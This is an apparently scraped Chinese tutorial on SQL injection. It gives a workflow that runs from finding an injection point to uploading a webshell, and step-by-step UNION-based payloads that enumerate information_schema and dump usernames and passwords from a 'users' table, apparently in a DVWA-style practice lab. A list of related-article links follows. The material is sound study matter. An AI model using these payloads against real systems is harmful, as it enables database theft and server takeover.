SQL Injection

SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一

SQL 注入分类 按SQLMap中的分类来看,SQL注入类型有以下 5 种:

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

注意:‘#’在SQL语句中表示注释,注释该符号之后的内容

1.判断是否存在注入,注入是字符型还是数字型

通过输入嵌套,判断是字符型还是数字型,单引号还是双引号!

1 or 1 = 1

1' or '1' = 1

1" or "1" = "1

2.猜解 SQL 查询语句中的字段数 (使用order by 判断该表单的字段数)

1’ order by 1 #

1’ order by 2 #

1’ order by 3 #

…………

直到得到返回提示

Unknown column '3' in 'order clause'

3.确定显示的字段顺序  使用union链接获取到数据库中那些字段在前端显示

1‘ union select 1,2 ,3,4,#

查看1,2,3,4哪一个位置会返回到前端页面,

4.获取当前数据库(数据库版本version()、当前用户user()、当前所在数据库database())

1’ union select 1,version(),user(),database() #

5.获取数据库中的表  (获取当前数据库的表)

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息

Table_schema 数据表所属的数据库名
Table_name 表名称
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

6.获取表中的字段名

COLUMNS表:提供了关于表中的列的信息。详细表述了某个列属于哪个表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #

7.查询到账户的数据

1' or 1 = 1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

SQL Injection(SQL注入)相关推荐

  1. Sql Injection脚本注入终极利用方法

    本文仅用于教学目的,如果因为本文造成的***后果本人概不负责.因为 发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作. 考虑再 ...

  2. SQL Injection(SQL注入)介绍及SQL Injection攻击检测工具

    1.关于SQL Injection 迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛 ...

  3. nodejs mysql 注入_node.js sql 注入攻击防御方法 (sql Injection)

    sql 注入的原理和方法应该都知道了,这里记录一下node-mysql提供的现成的api https://github.com/felixge/node-mysql node-mysql 提供了接口 ...

  4. linux json 写sql注入,sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery))

    sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery)) 0x1 网上搜下没有关于ajax的sql注入文章,这里简单写一下抛砖引玉. 原理自己百度,这里简单说下: 通过 ...

  5. DVWA-SQL注入(SQL Injection)低/中/高级别

    DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤 SQL Injecti ...

  6. 从入门到入土:[SEED-Lab]-SQL注入攻击|SQL Injection Attack Lab|详细说明|实验步骤|实验截图

    此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益.不合适引用,自当删除! 若 ...

  7. PHP代码审计DVWASQL注入[SQL Injection]

    SQL注入[SQL Injection] 靶场搭建可以用蓝易云服务器

  8. DVWA通关--SQL注入(SQL Injection)

    目录 LOW 通关步骤 一.手工注入 二.sqlmap注入 代码分析 MEDIUM 通关步骤 方法一.手工注入 方法二.sqlmap注入 代码分析 HIGH 通关步骤 方法一.手工注入 方法二.sql ...

  9. SQL 注入(SQL Injection)学习心得

    提示:文章写完后,目录可以自动生成 目录 文章目录 前言 一.SQL 注入是什么? 二.SQL 注入攻击手法 1.联合查询注入 2.基于错误信息的注入 3.基于布尔的盲注 4.基于时间的盲注 三.注入 ...

最新文章

  1. Android merge 标签 显示错乱
  2. [20180817]校内模拟赛
  3. python os 常用方法_python中os常用方法详解
  4. SpringBoot-SpringCloud-版本对应关系
  5. 【亲身经验】如何在 6 个月内成为“微软 MVP”
  6. 厉害了,Servlet3的异步处理机制
  7. 使用cacti监控CISCO交换机
  8. 女人选择安逸一点还是拼搏一点
  9. 【NOIP2005】【Luogu1046】陶陶摘苹果
  10. 量子计算机拓扑超导新状态,陈根:特殊超导体,有助于量子计算机运行
  11. 主席树初探--BZOJ1901: Zju2112 Dynamic Rankings
  12. 深入浅出聊优化:从Draw Calls到GC(转)
  13. 一、首页、详情页、文章编辑页制作《iVX低代码/无代码个人博客制作》
  14. java text类型转换_java语言实现Text格式转换成pdf文件
  15. 原来黑客长这样(中国大陆篇)
  16. mysql实验报告4_数据库实验四实验报告
  17. 基于信息增益率的决策树特征选择算法(C4.5)及其python实现
  18. discuz tools.php,Discuz!论坛Tools工具箱功能详解
  19. 看完抖音,感觉我穷我活该,跟个废物一样
  20. 词霸天下---词根227【-gress- = -grad- = -gred- = -gre(e)- 步,走】

热门文章

  1. HTML5 draggable 拖拽实例
  2. 2023牛客寒假算法基础集训营3 -- E-公平守望的灯塔(向量 简单几何)
  3. steam 安装及简易设置
  4. 肠道核心菌属——双歧杆菌属,了解并拥有它
  5. Python编程:从入门到实践第六章练习6.3
  6. 医院计算机网络系统作用,计算机网络系统在医院管理中的应用
  7. 河北工业大学英语笔译(专硕)考研上岸经验分享
  8. GPT-4炸圈--多模态大模型
  9. 按照频率将数组升序排序
  10. 【数据结构】第六站:栈和队列